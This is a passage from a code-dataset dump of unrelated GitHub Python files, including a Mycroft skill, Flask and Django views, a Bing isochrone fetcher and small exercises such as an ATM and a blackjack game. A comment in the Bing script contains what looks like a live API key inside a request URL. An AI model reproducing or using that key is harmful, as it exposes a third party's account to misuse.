load_chains(self):\n        self.thot_chains = self.settings['thot_chains']\n        #self.log.debug('All chains = {}'.format(str(self.thot_chains)))\n\n        for chain in self.thot_chains:\n            # chained abilities\n            self.log.info('Adding chain \"{}\" of type = {}'.format(chain, type(chain)))\n            if not isinstance(chain, str): continue  # unicode instead of str for Py2 compat\n            self.add_ability(chain, self.handle_chain_intent)\n\n    def handle_chain_intent(self, msg):\n        # bridge to loaded chain\n        chain = None\n        utt = msg.data.get('utterance')\n\n        for ch_name in self.thot_chains:\n            match = 'True' if ch_name == utt else 'False'\n            self.log.debug('searching for correct chain; chain name = {}; utt = {}; match = {}'.format(ch_name, utt, match))\n            if not re.match(ch_name, utt): continue\n            chain = self.thot_chains[ch_name]\n            break\n        self.exec_chain(chain)\n\n    def handle_announce_intent(self, msg):\n        words = msg.data.get('Words')\n        self.speak(words)\n\n    def converse(self, utts, lang='en-us'):\n        result = False\n\n        for utt in utts:\n            msg = Message('', {\"lang\": lang, \"utterance\": utts})\n            result = self.handle_external_intent(msg)\n            if result: break\n        return result\n\n    def make_intents(self, rx):\n        rx_combos = [rx]\n        rx_combos = expand_rx(rx.strip())\n        intents = []\n        if interact: pdb.set_trace()\n\n        for combo in rx_combos:\n            i_name = '{}{}Intent'.format(self.h_prefix, hash_sum(combo))\n            #self.log.debug('combo = {}'.format(combo))\n\n            if re.match('^[a-z0-9 ]+$', combo):\n                # keywords only\n                entity_type = self.make_entity_type(combo)\n                intent = IntentBuilder(re.sub('Keywords?', 'Intent', entity_type)).require(entity_type).build()\n                intents.append(intent)\n                continue\n            self.register_regex(combo)\n            parts = re.split('(\\(|\\))', combo)\n            intent_builder = IntentBuilder(i_name)\n            section = ''\n\n            for idx in range(len(parts)):\n                # separate keywords from names\n                part = parts[idx]\n\n                if section and part == '(':\n                    # got a complete keyword\n                    entity_type = self.make_entity_type(section)\n                    intent_builder.require(entity_type)\n                    section = '('\n                    continue\n                section += part\n                match = re.match('\\(\\?P<\\w+>.+\\)', section)\n\n                if match:\n                    # got a named group\n                    span = re.search('<\\w+>', section).span()\n                    entity_type = section[span[0]+1:span[1]-1]\n\n                    if not idx == len(parts) - 1 and re.match('(\\?|\\*).*', parts[idx + 1]):\n                        intent_builder.optionally(entity_type)\n\n                    else:\n                        intent_builder.require(entity_type)\n                    section = ''\n                    continue\n            intents.append(intent_builder.build())\n            self.log.info('Created intent: {}'.format(str(intents[-1].__dict__)))\n        return intents\n\n    def make_intents_struct(self, struct_list):\n        # process new style intent for i18n\n        intents = []\n\n        for struct in struct_list:\n            # single language\n\n            for i_inf in struct['utterances']:\n                # intent info\n                i_name = '{}{}Intent'.format(self.h_prefix, hash_sum(str(i_inf)))\n                builder = IntentBuilder(i_name)\n\n                for section in i_inf:\n                    section = ''.join(ch for ch in section if re.match(r'A-Za-z0-9:\\|', ch))\n                    entity_type = self.make_entity_type(section.split(':')[1])\n\n                    if section.startswith('req:'):\n                        builder.require(entity_type)\n                        continue\n\n                    elif section.startswith('opt:'):\n                        builder.optionally(entity_type)\n                        continue\n\n                    elif section.startswith('one:'):\n                        entity_types = [self.make_entity_type(e) for e in section.split(':')[1].split('|')]\n                        builder.one_of(entity_types)\n                        continue\n\n                    else:\n                        # shouldn't be here\n                        self.log.error('Something wrong with the struct: {}'.format(struct))\n                intents.append(builder.build())\n        return intents\n\n    def make_entity_type(self, entity):\n        entity = entity.strip()\n        entity_type = ''.join(entity.title().split(' ')) + 'Keyword' + ('s' if ' ' in entity else '')\n        self.register_vocabulary(entity, entity_type)\n        return entity_type\n\n    def ready_to_continue(self):\n        self.log.debug('Ready event detected')\n        self.waiting = False\n\n    def exec_chain(self, chain):\n\n        for link in chain:\n            self.waiting = True\n\n            if isinstance(link, dict):\n                abilities.whisper(self, link)\n\n            elif isinstance(link, list) and link[0] == 'whisper':\n                abilities.whisper(self, link[1])\n\n            else:\n                abilities.shout(self, link[1])\n            timeout = 0\n\n            while self.waiting and timeout < 10:\n                time.sleep(1)\n                timeout += 1\n\n    def alert(self, text, details):\n        self.alerts.append(text)\n        self.enclosure.mouth_text('ALERT DETECTED')\n        self.log.info('!!!ALERT DETECTED!!! {} -- {}'.format(text, details))\n\ndef create_skill():\n    return MathSkill()\n\n\nif sys.argv[0] == '' and not __name__ == '__main__':\n    interact = True # for pdb trace activation\n","repo_name":"skeledrew/math-skill","sub_path":"__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":9658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"29502792236","text":"# insert Node in a Binary Search Tree\n# Author: Pavan Kumar Paluri\n# Time Complexity: O(Height of Tree)\n\n# Definition for a binary tree node.\n# class TreeNode:\n#     def __init__(self, val=0, left=None, right=None):\n#         self.val = val\n#         self.left = left\n#         self.right = right\nclass Solution:\n    def insertIntoBST(self, root: TreeNode, val: int) -> TreeNode:\n        # Explore left subtree if given val < node's val\n        # Explore right subtree if given val > nodes val \n        if root is None:\n            return TreeNode(val)\n        if val < root.val:\n            root.left = self.insertIntoBST(root.left, val)\n        elif val > root.val:\n            root.right=self.insertIntoBST(root.right, val)\n        return root\n","repo_name":"pvpk1994/Leetcode_Medium","sub_path":"Python/Binary Search Tree/Insert_Node.py","file_name":"Insert_Node.py","file_ext":"py","file_size_in_byte":747,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"75191390327","text":"from enum import Enum\n\nfrom loguru import logger\nimport imgui\n\nfrom deeper.dimgui import Widget, WidgetGroup\n\n\nclass SelectableMode(Enum):\n    SELECT = (0,)\n    EDIT = 1\n\n\nclass SelectableBase(Widget):\n    def __init__(self, label, callback, selected=False, children=[], width=0, height=0):\n        super().__init__(children)\n        self.label = label\n        self.callback = callback\n        self.selected = selected\n        self.width = width\n        self.height = height\n\n    def select(self, selected=True):\n        self.selected = selected\n        self.callback(self)\n        self.on_select(selected)\n\n    def on_select(self, selected):\n        pass\n\n\nclass Selectable(SelectableBase):\n    def draw(self):\n        clicked, selected = imgui.selectable(\n            self.label, self.selected, width=self.width, height=self.height\n        )\n        if clicked:\n            self.select(selected)\n\n\nclass EditableSelectable(SelectableBase):\n    def __init__(\n        self,\n        label,\n        callback,\n        selected=False,\n        mode=SelectableMode.SELECT,\n        width=0,\n        height=0,\n    ):\n        super().__init__(label, callback, selected, width=width, height=height)\n        self.mode = mode\n\n    def on_select(self, selected):\n        if not selected:\n            self.mode = SelectableMode.SELECT\n\n    def draw(self):\n        if self.mode == SelectableMode.SELECT:\n            clicked, selected = imgui.selectable(\n                self.label,\n                self.selected,\n                flags=imgui.SELECTABLE_ALLOW_DOUBLE_CLICK,\n                width=self.width,\n                height=self.height,\n            )\n            if imgui.is_item_hovered() and imgui.is_mouse_double_clicked():\n                self.mode = SelectableMode.EDIT\n            elif clicked:\n                self.select(selected)\n        else:\n            changed, value = imgui.input_text(f'##{id(self)}', self.label, 32)\n            if changed:\n                logger.debug(changed)\n                logger.debug(value)\n                self.label = value\n\n            # TODO: need to detect escape key and other loss of focus ...\n            if self.gui.is_key_down(imgui.KEY_ESCAPE):\n                self.mode = SelectableMode.SELECT\n\n\nclass SelectableGroup(WidgetGroup):\n    def __init__(self, children, callback=lambda: None):\n        super().__init__(children)\n        self.callback = callback\n\n    def add_child(self, child):\n        super().add_child(child)\n        child_callback = child.callback\n        child.callback = lambda child: self.on_child_select(child, child_callback)\n\n    def on_child_select(self, child, child_callback):\n        logger.debug(child)\n        child_callback()\n        self.callback()\n\n\nclass ExclusiveSelectableGroup(SelectableGroup):\n    def __init__(self, children, callback=lambda: None):\n        super().__init__(children, callback)\n        self.selection = None\n\n    def on_child_select(self, child, child_callback):\n        logger.debug(child)\n        if self.selection == child:\n            return\n        if self.selection:\n            logger.debug(self.selection)\n            # self.selection.selected = False\n            self.selection.select(False)\n        self.selection = child\n        child.selected = True\n        child_callback(child)\n        self.callback(child)\n","repo_name":"kfields/deeper","sub_path":"deeper/widgets/selectable.py","file_name":"selectable.py","file_ext":"py","file_size_in_byte":3315,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"}
+{"seq_id":"36350138821","text":"import sys, os, csv, time, json\nimport requests\n\nBING_API_KEY = os.environ.get('BING_API_KEY')\nif not BING_API_KEY:\n    raise Error('missing env var BING_API_KEY')\n\nreader = csv.DictReader(open(sys.argv[1]))\n\nfor row in reader:\n    waypoint = '{},{}'.format(row['Latitude'], row['Longitude'])\n    for travel_mode in ('drive', 'walk'):\n        out_file = '{}-{}-{}.geojson'.format(row['unitid_ipeds'], row['opeid8'], travel_mode)\n        print(out_file)\n        if os.path.exists('isochrones/bing/{}'.format(out_file)):\n            continue\n\n        resp = requests.get('http://dev.virtualearth.net/REST/v1/Routes/IsochronesAsync?waypoint={waypoint}&maxtime=1800&optimize=timeWithTraffic&dateTime=1/15/2020+20%3A30Z&travelMode={travel_mode}&key={BING_API_KEY}'.format(waypoint=waypoint, travel_mode=travel_mode, BING_API_KEY=BING_API_KEY))\n\n        error = False\n        ready = False\n        resp_obj = {}\n        while not ready:\n            resp_obj = json.loads(resp.text)\n            ready = resp_obj['resourceSets'][0]['resources'][0]['isCompleted']\n            if not ready:\n                print('sleeping...')\n                callback_url = resp_obj['resourceSets'][0]['resources'][0]['callbackUrl']\n                error_message = resp_obj['resourceSets'][0]['resources'][0]['errorMessage']\n                if len(callback_url) == 0 and len(error_message) > 0:\n                    print(error_message)\n                    error = True\n                    break\n                time.sleep(3)\n                resp = requests.get(callback_url)\n\n        if error:\n            continue\n\n        resp = requests.get(resp_obj['resourceSets'][0]['resources'][0]['resultUrl'])\n        result_obj = json.loads(resp.text)\n        coords = [[x[1], x[0]] for x in result_obj['resourceSets'][0]['resources'][0]['polygons'][0]['coordinates'][0]]\n        geo = {\n            'type': 'Feature',\n            'properties': {},\n            'geometry': {\n                'type': 'Polygon',\n                'coordinates': [coords]\n            }\n        }\n        with open('isochrones/bing/{}'.format(out_file), 'w') as f:\n            json.dump(geo, f, indent=2)\n\n        # http://dev.virtualearth.net/REST/v1/Routes/IsochronesAsyncCallback?key=AsQ5jrMDv98VuyY2NsmjK1nYPEjRTGhdnK92vcraJevQ8PQpdh0k8A5aiCj1MYU8&requestId=64fd8451-d56d-4b1b-b686-3e658edd9032","repo_name":"sbma44/houston-parcels","sub_path":"py/isochrones_bing.py","file_name":"isochrones_bing.py","file_ext":"py","file_size_in_byte":2343,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"77"}
+{"seq_id":"29294572835","text":"import os\n\nfrom flask import (\n    Blueprint, flash, g, redirect, render_template, request, url_for,\n    session)\nfrom werkzeug.exceptions import abort\nfrom werkzeug.utils import secure_filename\n\nfrom book.auth import login_required\nfrom book.db import get_db\n\nbp = Blueprint('product', __name__)\n\n\n@bp.route('/search', methods=['GET', 'POST'])\ndef search():\n    query = \"%\" + request.args['q'] + \"%\"\n\n    db = get_db()\n    searches = db.execute(\n        'SELECT *'\n        ' FROM product p JOIN user u ON p.author_id = u.id'\n        ' where name like ? OR description like ?', (query, query,)\n    ).fetchall()\n    if not searches:\n        flash('Pas de résultats trouvés pour ' + query.replace(\"%\", \"\"), 'danger')\n    return render_template('product/search.html', searches=searches, query=query.replace(\"%\", \"\"))\n\n\n@bp.route('/<int:id>/detail', methods=('GET', 'POST'))\ndef detail(id):\n    db = get_db()\n    details = db.execute(\n        'SELECT p.id, name, description, price, state, image, created, author_id, username'\n        ' FROM product p JOIN user u ON p.author_id = u.id'\n        ' WHERE p.id = ?',\n        (id,)\n    ).fetchall()\n    return render_template('product/detail.html', details=details, title=id)\n\n\n@bp.route('/')\ndef index():\n    db = get_db()\n    products = db.execute(\n        'SELECT p.id, name, description, price, state, image, created, author_id, username'\n        ' FROM product p JOIN user u ON p.author_id = u.id'\n        ' ORDER BY created DESC'\n    ).fetchall()\n    return render_template('product/home.html', products=products)\n\n\n@bp.route('/inventory')\n@login_required\ndef inventory():\n    user_id = session.get('user_id')\n    db = get_db()\n    products = db.execute(\n        'SELECT p.id, name, description, price, state, image, created, author_id, username'\n        ' FROM product p JOIN user u ON p.author_id = u.id'\n        ' WHERE author_id = ?'\n        ' ORDER BY created DESC'\n        , (user_id,)\n    ).fetchall()\n    return render_template('product/inventory.html', products=products)\n\n\ndef get_product(id, check_author=True):\n    product = get_db().execute(\n        'SELECT p.id, name, description, price, state, created, author_id, username'\n        ' FROM product p JOIN user u ON p.author_id = u.id'\n        ' WHERE p.id = ?',\n        (id,)\n    ).fetchone()\n\n    if product is None:\n        abort(404, \"Le produit id {0} n'existe pas.\".format(id))\n\n    if check_author and product['author_id'] != g.user['id']:\n        abort(403)\n\n    return product\n\n\n@bp.route('/<int:id>/update', methods=('GET', 'POST'))\n@login_required\ndef update(id):\n    product = get_product(id)\n\n    state_list = ['Neuf', 'Très bon état', 'Bon état', 'Etat correct', 'Mauvais état']\n\n    if request.method == 'POST':\n        name = request.form['name']\n        description = request.form['description']\n        price = request.form['price']\n        state = request.form['state']\n        error = None\n\n        if not name:\n            error = 'Title is required.'\n\n        if error is not None:\n            flash(error)\n        else:\n            db = get_db()\n            db.execute(\n                'UPDATE product SET name = ?, description = ?, price = ?, state = ?'\n                ' WHERE id = ?',\n                (name, description, price, state, id)\n            )\n            db.commit()\n            flash('Modification réussie !', 'success')\n            return redirect(url_for('product.inventory'))\n\n    return render_template('product/update.html', product=product, state_list=state_list)\n\n\n@bp.route('/<int:id>/delete', methods=('POST',))\n@login_required\ndef delete(id):\n    get_product(id)\n    db = get_db()\n    db.execute('DELETE FROM product WHERE id = ?', (id,))\n    db.commit()\n    flash('Livre supprimé !', 'success')\n    return redirect(url_for('product.inventory'))\n","repo_name":"gbresolin/flask-docker-livre","sub_path":"book/product.py","file_name":"product.py","file_ext":"py","file_size_in_byte":3813,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"6537339500","text":"######################################################\n# \n# Adaptation of phi4 methods for Hamiltonian truncation to QED/Schwinger model\n#\n######################################################\n\nimport schwinger\nimport sys\nimport scipy\nimport time\nimport sys\nimport numpy as np\nfrom scipy.constants import pi\n\ndef main(argv):\n    \n    #if there are too few arguments, print the right syntax and exit\n    if len(argv) < 3:\n        print(\"python qed_genMatrix.py <R> <Emax>\")\n        sys.exit(-1)\n    \n    print(\"Beginning execution.\")\n    startTime = time.time()\n    R = float(argv[1])\n    Emax = float(argv[2])\n    #mass\n    m = 0.\n    \n    myBCs = \"antiperiodic\"\n    \n    a = schwinger.Schwinger()\n    \n    a.buildFullBasis(2*pi*R, m, Emax, bcs=myBCs)\n\n    print(f\"Basis size: {a.fullBasis.size}\")\n    # print(f\"Basis elements: {a.fullBasis}\")\n\n    #set the file name for saving the generated matrix\n    fstr = f\"Emax={a.fullBasis.Emax}_R={R}_bcs={myBCs}\"\n    print(f\"filename: {fstr}\")\n\n    a.buildMatrix()\n    \n    print(\"Runtime:\",time.time()-startTime)\n    \n    a.saveMatrix(fstr)\n    \n    #temporary: also load in the same script\n    #move this later\n    \"\"\"\n    print(\"Beginning eigenvalue calculation.\")\n    startTime = time.time()\n    \n    #fname = argv[1]\n    g = 1.#float(argv[2])\n    Emax = 4.#float(argv[3])\n\n    # Hardcoded parameters\n    m=1.\n    sigma = -30.\n    neigs = 3\n\n    b = schwinger.Schwinger()\n    b.loadMatrix(fstr+\".npz\")\n\n    b.buildBasis(Emax=Emax)\n    \n    print(f\"full basis size = {b.fullBasis.size}\")\n    print(f\"basis size = {b.basis.size}\")\n    \n    b.setcouplings(g)\n    \n    print(f\"Computing raw eigenvalues for g = {g}\")\n\n    b.computeHamiltonian(ren=False)\n    \n    b.computeEigval(sigma=sigma, n=neigs, ren=False)\n        \n    print(\"Raw vacuum energy: \", b.vacuumE(ren=\"raw\"))\n    print(\"Raw spectrum: \", b.spectrum(ren=\"raw\"))\n    \"\"\"\n\nif __name__ == \"__main__\":\n    main(sys.argv)\n","repo_name":"qmch/hamiltonian-truncation","sub_path":"qed_genmatrix.py","file_name":"qed_genmatrix.py","file_ext":"py","file_size_in_byte":1926,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"4067795872","text":"import sys\n\n\n#用于将文件的二进制(16进制显示)内容转换成C++等编程语言里的数组，供复制粘贴\nsrc = open(sys.argv[1], 'rb')\ndst = open(sys.argv[1]+'.txt', 'w')\n\nbuffer = src.read()\narray_list = []\nfor c in buffer:\n    hs = hex(c)\n    if len(hs) != 4:\n        hs = hs[:2] + '0' + hs[2:]\n    array_list.append(hs)\n\ndst.write(','.join(array_list))\n\ndst.close()\nsrc.close()\n","repo_name":"Inori/FuckGalEngine","sub_path":"_general_tools/hex2array.py","file_name":"hex2array.py","file_ext":"py","file_size_in_byte":397,"program_lang":"python","lang":"en","doc_type":"code","stars":670,"dataset":"github-code","pt":"77"}
+{"seq_id":"5373586435","text":"from xml.sax.saxutils import escape\n\ndef stringify(thing):\n    \"\"\"\n    Adds quotes to the given parameter and casts to string if the object is not a string\n    :param str thing: the thing to stringify\n    :rtype: str\n    \"\"\"\n    return '\"' + str(thing) + '\"'\n\n\ndef is_number(value):\n    \"\"\"\n    Check if string value is a number (e.g: -5, 2, 3.5, 1e+5)\n    :param string value: the value needs to check\n    :return boolean:\n    \"\"\"\n    try:\n        value = float(value)\n        return True\n    except ValueError:\n        return False\n\n\ndef escape_metadata_dict(metadata_dict):\n    \"\"\"\n    Escape a dict with values are strings which can contain invalid characters (<, >, &) for XML\n    :param metadata_dict:\n    :return: an escaped dict\n    \"\"\"\n    # NOTE: metadata can contain invalid characters for XML such as: <, >, & then needs to escape them\n    for key, value in metadata_dict.iteritems():\n        metadata_dict[key] = escape(str(value))\n\n    return metadata_dict\n\n\ndef escape_metadata_nested_dicts(metadata_dict):\n    \"\"\"\n    Escape a dict and its children nested dicts (or string) with values are strings which can contain invalid characters (<, >, &) for XML\n    :param metadata_dict:\n    :return: an escaped dict with nested dicts\n    \"\"\"\n    # NOTE: metadata can contain invalid characters for XML such as: <, >, & then needs to escape them\n    for key_parent, value_parent in metadata_dict.iteritems():\n        if type(value_parent) is dict:\n            # e.g: \"band1\": { \"key_1\": \"value_1\", \"key_2\": \"value_2\" }\n            for key_child, value_child in value_parent.iteritems():\n                metadata_dict[key_parent][key_child] = escape(str(value_child))\n        else:\n            # e.g: ${netcdf:variable:lat:metadata}\n            metadata_dict[key_parent] = escape(str(value_parent))\n\n    return metadata_dict\n","repo_name":"javyxu/rasdaman","sub_path":"applications/wcst_import/util/string_util.py","file_name":"string_util.py","file_ext":"py","file_size_in_byte":1831,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"70005881850","text":"from django.urls import path\nfrom blog.views import contact, main, category, myposts, detail, add_post, update_post, delete_post, delete_comment\nfrom django.views.generic import TemplateView, RedirectView\n\nurlpatterns = [\n    path('', main, name='main'),\n    path('contact', contact, name='contact'),\n    path('category/<slug:categorySlug>', category, name='category'),\n    path('myposts', myposts, name='myposts'),\n    path('detail/<slug:slug>', detail, name='detail'),\n    path('add-post', add_post, name='add-post'),\n    path('update-post/<slug:slug>', update_post, name='update-post'),\n    path('delete-post/<slug:slug>', delete_post, name='delete-post'),\n    path('delete-comment/<int:id>', delete_comment, name='delete-comment'),\n\n    #views\n    path('email-sent', TemplateView.as_view(template_name = 'pages/email-sent.html'), name='email-sent'),\n    path('redirect', RedirectView.as_view(url='www.google.com'), name='redirect'), #herhangi bir yerde kullanmadim\n\n]","repo_name":"sedathmd/django-blog","sub_path":"blog/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":971,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"29305160679","text":"saldo_inicial_cajero = {\n    20000: 20,\n    10000: 40,\n    5000: 40\n}\n\nsaldo_inicial_cuenta = 100000\nintentos_fallidos = 0\n\ndef verificar_clave(usuario, clave):\n    if usuario == 10334151 and clave == 1803:\n        return True\n    else:\n        return False\n\ndef retirar_dinero(monto):\n    global saldo_inicial_cuenta, saldo_inicial_cajero\n    billetes_entregados = {}\n    monto_restante = monto\n\n    if monto <= saldo_inicial_cuenta:\n        if monto <= sum(saldo_inicial_cajero.keys()):\n            for denominacion, cantidad in sorted(saldo_inicial_cajero.items(), reverse=True):\n                if monto_restante >= denominacion and cantidad > 0:\n                    billetes = min(monto_restante // denominacion, cantidad)\n                    monto_restante -= denominacion * billetes\n                    saldo_inicial_cajero[denominacion] -= billetes\n                    billetes_entregados[denominacion] = billetes\n\n            if monto_restante == 0:\n                saldo_inicial_cuenta -= monto\n                print(\"Retiro exitoso.\")\n                print(\"Nuevo saldo en la cuenta:\", saldo_inicial_cuenta)\n                print(\"Nuevo saldo en el cajero:\", saldo_inicial_cajero)\n                print(\"Billetes entregados:\")\n                for denominacion, cantidad in billetes_entregados.items():\n                    print(\"billetes\", denominacion, \"=\", cantidad)\n            else:\n                print(\"Monto no permitido. No hay suficientes billetes para completar el retiro.\")\n        else:\n            print(\"Monto no permitido. Saldo insuficiente en el cajero.\")\n    else:\n        print(\"Monto no permitido. Saldo insuficiente en la cuenta.\")\n\nwhile intentos_fallidos < 3:\n    usuario = int(input(\"Ingrese su número de usuario: \"))\n    clave = int(input(\"Ingrese su clave: \"))\n\n    if verificar_clave(usuario, clave):\n        monto_retiro = float(input(\"Ingrese el monto a retirar: \"))\n        retirar_dinero(monto_retiro)\n        break\n    else:\n        print(\"Clave inválida.\")\n        intentos_fallidos += 1\n\nif intentos_fallidos == 3:\n    print(\"Tarjeta bloqueada. Por favor, contacte al banco.\")\n","repo_name":"pabloschwarzenberg/grader","sub_path":"hito1_ej11/hito1_ej11_147cb83581401ad9be8245af204c6aa6.py","file_name":"hito1_ej11_147cb83581401ad9be8245af204c6aa6.py","file_ext":"py","file_size_in_byte":2125,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"}
+{"seq_id":"36868189775","text":"import gym, deprl\nimport sconegym\n\n# create the sconegym env\nenv = gym.make(\"sconerun_h2190-v0\")\npolicy = deprl.load_baseline(env)\nenv.seed(0)\nfor ep in range(5):\n    if ep % 1 == 0:\n        env.store_next_episode()  # Store results of every 10th episode\n\n    ep_steps = 0\n    ep_tot_reward = 0\n    state = env.reset()\n\n    while True:\n        # samples random action\n        action = policy(state)\n        # applies action and advances environment by one step\n        state, reward, done, info = env.step(action)\n\n        ep_steps += 1\n        ep_tot_reward += reward\n\n        # check if done\n        if done or (ep_steps >= 1000):\n            print(\n                f\"Episode {ep} ending; steps={ep_steps}; reward={ep_tot_reward:0.3f}; \\\n                com={env.model.com_pos()}\"\n            )\n            env.write_now()\n            env.reset()\n            break\n\nenv.close()\n","repo_name":"tgeijten/sconegym","sub_path":"example_deprl.py","file_name":"example_deprl.py","file_ext":"py","file_size_in_byte":880,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"77"}
+{"seq_id":"4635348169","text":"def calculate_trow_score(dart, r, c):\n    if r not in range(len(dart)) or c not in range(len(dart[r])):\n        return 0\n\n    if dart[r][c] == \"D\":\n        return sum([int(dart[r1][c1]) for r1, c1 in ((r, 0), (r, -1), (0, c), (-1, c))]) * 2\n\n    elif dart[r][c] == \"T\":\n        return sum([int(dart[r1][c1]) for r1, c1 in ((r, 0), (r, -1), (0, c), (-1, c))]) * 3\n\n    elif dart[r][c] == \"B\":\n        return \"B\"\n\n    else:\n        return int(dart[r][c])\n\n\ndef play(players, scores, dart, winner=None, i=0):\n    if winner is not None:\n        return f\"{winner} won the game with {scores[winner]['trows']} throws!\"\n\n    row, col = (int(n) for n in input()[1:-1].split(\", \"))\n    player = players[0] if i % 2 == 0 else players[1]\n    current_score = calculate_trow_score(dart, row, col)\n    if isinstance(current_score, str):\n        winner = player\n        scores[player]['trows'] += 1\n\n    elif isinstance(current_score, int):\n        scores[player]['score'] -= current_score\n        scores[player]['trows'] += 1\n        if scores[player]['score'] <= 0:\n            winner = player\n\n    return play(players, scores, dart, winner, i+1)\n\n\nplayers_data = input().split(\", \")\nmatrix = [input().split() for _ in range(7)]\nscores_data = {players_data[0]: {'score': 501, 'trows': 0}, players_data[1]: {'score': 501, 'trows': 0}}\nprint(play(players_data, scores_data, matrix))\n","repo_name":"4um3n/SoftUni-Courses","sub_path":"Python-Advanced/Exams/14-April-2021/problem2.py","file_name":"problem2.py","file_ext":"py","file_size_in_byte":1367,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"77"}
+{"seq_id":"8807161504","text":"\"\"\"empty message\n\nRevision ID: 4ae0d0dc8ae4\nRevises: 1dff388c19fd\nCreate Date: 2023-09-20 10:14:04.313857\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\n\n\n# revision identifiers, used by Alembic.\nrevision = '4ae0d0dc8ae4'\ndown_revision = '1dff388c19fd'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.create_table('form_storage_refs',\n    sa.Column('form_id_24h', sa.Integer(), nullable=True),\n    sa.Column('form_id_irp', sa.Integer(), nullable=True),\n    sa.Column('form_id_vi', sa.Integer(), nullable=True),\n    sa.Column('form_id_12h', sa.Integer(), nullable=True),\n    sa.Column('event_id', sa.Integer(), nullable=True),\n    sa.Column('form_type', sa.String(), nullable=True),\n    sa.Column('storage_key', sa.String(), nullable=False),\n    sa.Column('created_dt', sa.DateTime(), nullable=True),\n    sa.Column('updated_dt', sa.DateTime(), nullable=True),\n    sa.ForeignKeyConstraint(['event_id'], ['event.event_id'], ),\n    sa.ForeignKeyConstraint(['form_id_12h'], ['twelve_hour_form.form_id'], ),\n    sa.ForeignKeyConstraint(['form_id_24h'], ['twenty_four_hour_form.form_id'], ),\n    sa.ForeignKeyConstraint(['form_id_irp'], ['irp_form.form_id'], ),\n    sa.ForeignKeyConstraint(['form_id_vi'], ['vi_form.form_id'], ),\n    sa.PrimaryKeyConstraint('storage_key')\n    )\n    # ### end Alembic commands ###\n\n\ndef downgrade():\n    # ### commands auto generated by Alembic - please adjust! ###\n    op.drop_table('form_storage_refs')\n    # ### end Alembic commands ###\n","repo_name":"bcgov/rsbc-digital-forms","sub_path":"python/prohibition_web_svc/migrations/versions/4ae0d0dc8ae4_.py","file_name":"4ae0d0dc8ae4_.py","file_ext":"py","file_size_in_byte":1552,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"73112777530","text":"def clear(folder):\n  import os, glob\n  import numpy as np\n  IGNORED_CLASSES = [1]\n  img_list = sorted(glob.glob(folder + \"*.jpg\"))\n  # print(img_list)\n  for img_path in img_list:\n    img = pdb.gimp_file_load(img_path, img_path)\n    drawable = pdb.gimp_image_get_active_layer(img)\n    label_path = img_path[:-4]+'.txt'\n    if not os.path.exists(label_path):\n      print('{} not found'.format(label_path))\n      continue;\n    with open(label_path) as f_labels:\n      labels = f_labels.read().split('\\n')\n    for label in labels:\n      params = label.split(' ')\n      if len(params) != 5:\n        continue;\n      c, x, y, w, h = list(map(float, params))\n      if int(c) in IGNORED_CLASSES:\n        continue;\n      x *= img.width\n      y *= img.height\n      w *= img.width\n      h *= img.height\n      pdb.gimp_image_select_rectangle(img, 0, int(x-w/2), int(y-h/2), w, h)\n      pdb.python_fu_heal_selection(img, drawable, 50, 0, 0)\n    pdb.gimp_file_save(img, drawable, img_path, img_path)\n    pdb.gimp_image_delete(img)\n#clear('./path_to_images') ## example usage","repo_name":"bsaendig/SampleGenerator","sub_path":"util/gimp-clear-script.py","file_name":"gimp-clear-script.py","file_ext":"py","file_size_in_byte":1059,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"}
+{"seq_id":"18714993774","text":"import random\r\nfrom replit import clear\r\nfrom art import logo\r\ndef deal_card():\r\n  cards = [11, 2, 3, 4, 5, 6, 7, 8, 9, 10, 10, 10, 10]\r\n  next_card=random.choice(cards)\r\n  return next_card\r\n\r\ndef calculate_score(user_list):\r\n  if sum(user_list)==21 and len(user_list)==2:\r\n    return 0\r\n  \r\n  if 11 in user_list and sum(user_list)>21:\r\n    user_list.remove(11)\r\n    user_list.append(1)\r\n\r\n  return sum(user_list)\r\n\r\n\r\ndef compare(user_score, computer_score):\r\n  if user_score==computer_score:\r\n    return 'Draw'\r\n  elif computer_score == 0:\r\n    return ' Computer Wins, He has B;ackjack'\r\n  elif user_score==0:\r\n    return 'You Win'\r\n  elif user_score>21:\r\n    return 'You went over'\r\n  elif user_score>computer_score:\r\n    return 'You win'\r\n  else:\r\n    return 'Computer Wins'\r\n\r\ndef blackjack():\r\n  print(logo)\r\n  user_cards = []\r\n  computer_cards = []\r\n  game_over= False\r\n\r\n  for _ in range(2):\r\n    user_cards.append(deal_card())\r\n    computer_cards.append(deal_card())\r\n\r\n  while not game_over:\r\n    user_score= calculate_score(user_cards)\r\n    computer_score=calculate_score(computer_cards)\r\n\r\n    print(f\" User cards: {user_cards} and user_score: {user_score}\")\r\n    print(f\" Computer first card {computer_cards[0]}\")\r\n\r\n    if user_score==0 or computer_score==0 or user_score>21:\r\n      game_over=True\r\n    else:\r\n      should_continue = input(\"Enter 'y' to draw another card or 'n' to end the game: \")\r\n      if should_continue=='y':\r\n        user_cards.append(deal_card())\r\n      else:\r\n        game_over=True\r\n      \r\n  while computer_score!=0 and computer_score<17:\r\n    computer_cards.append(deal_card())\r\n    computer_score = calculate_score(computer_cards)\r\n\r\n  print(f\"Your final hand {user_cards} and score 